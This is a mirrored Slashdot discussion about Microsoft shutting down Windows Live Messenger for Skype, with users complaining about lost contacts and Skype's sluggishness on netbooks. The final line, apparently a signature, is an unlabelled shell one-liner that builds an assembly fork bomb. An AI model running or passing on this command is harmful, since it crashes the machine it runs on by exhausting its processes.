Slashdot Mirror
Microsoft Retiring Messenger, Replacing It With Skype
Entropy98 writes "Windows Live Messenger will be shut down by March 2013, after nearly 13 years of service, so Microsoft can focus its efforts on Skype, its recent $8.5bn acquisition. No word on whether users will be able to transfer their WLM accounts to Skype. 'According to internet analysis firm Comscore, WLM still had more than double the number of Skype's instant messenger facility at the start of this year and was second only in popularity to Yahoo Messenger. But the report suggested WLM's US audience had fallen to 8.3 million unique users, representing a 48% drop year-on-year. By contrast, the number of people using Skype to instant message each other grew over the period.'"
Uh.. I guess I'm nobody then. And so is my list of about 15 people I chat everyday on it with.
I like Windows Live Messenger.. it's simply, it doesn't suck like Skype, and it doesn't require Facebook. I use gTalk sometimes too, but that seems to be an Android user thing; people with iPhones rarely use gTalk, even when logged into GMail. As it is, this really pisses me off, because I really like Windows Live Messenger. It's going to be a real mess for me to find one way to talk to all these people after it goes away..
I wonder what the impact is on Lync? I would guess it's based on Messenger to some extent.
It (well, ICQ but same shit) was the first one over here. But then for whatever reason people switched to MSN.
Personally I belong in the camp who used IRC and never saw why I needed ICQ to begin with.
Skype used to run fine on my netbook. It insists on updating itself - there's no way to stay on old versions. It got more and more sluggish with time - it took longer to launch and the video call quality decreased.
Now when I run it it pops up a message saying "Your computer speed is very slow"
http://community.skype.com/t5/Windows/Your-computer-speed-is-very-slow/td-p/385505
Skype used to work fine on machines that were a lot more underpowered than a netbook even on connections that were a lot slower than my current 50Mbit down 8Mbit up DSL.
If you can't get crappy video in CIF-like resolution to work over an 8Mbit uplink given a dual core Atom with SSE at 1.6Ghz, I'd say the word bloated is about right. Especially if, as I suspect in the Skype case, the problem is not that you don't have the CPU horsepower to compress the video but that the app wraps up efficient video codec into a large application such that the video codec bit gets starved out. Of course if you have a fast CPU you probably don't have this problem. Still older versions of Skype actually worked a lot better on the same hardware, and even older versions used to run perfectly with a slower CPU and a slower connection. And it's not like it's impossible to decouple the video codec from the rest of the application and run it at a higher priority.
Skype for whatever reason just decided to put up a passive aggressive warning was easier than making their software work on netbooks when they found the issue during testing (why else was the warning code put in?). Even though realistically a lot more people are going to run Skype on a netbook than on a developer class laptop.
It's actually typical of modern Microsoft that they've bought something like Skype long after it has passed its prime. Skype a decade ago worked very well indeed. Modern Skype seems to be getting worse and worse. Still I'm sure the WinRT rewrite will solve all these issues, because one thing modern Microsoft APIs are known for is reducing bloat and making code run well on low end hardware.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;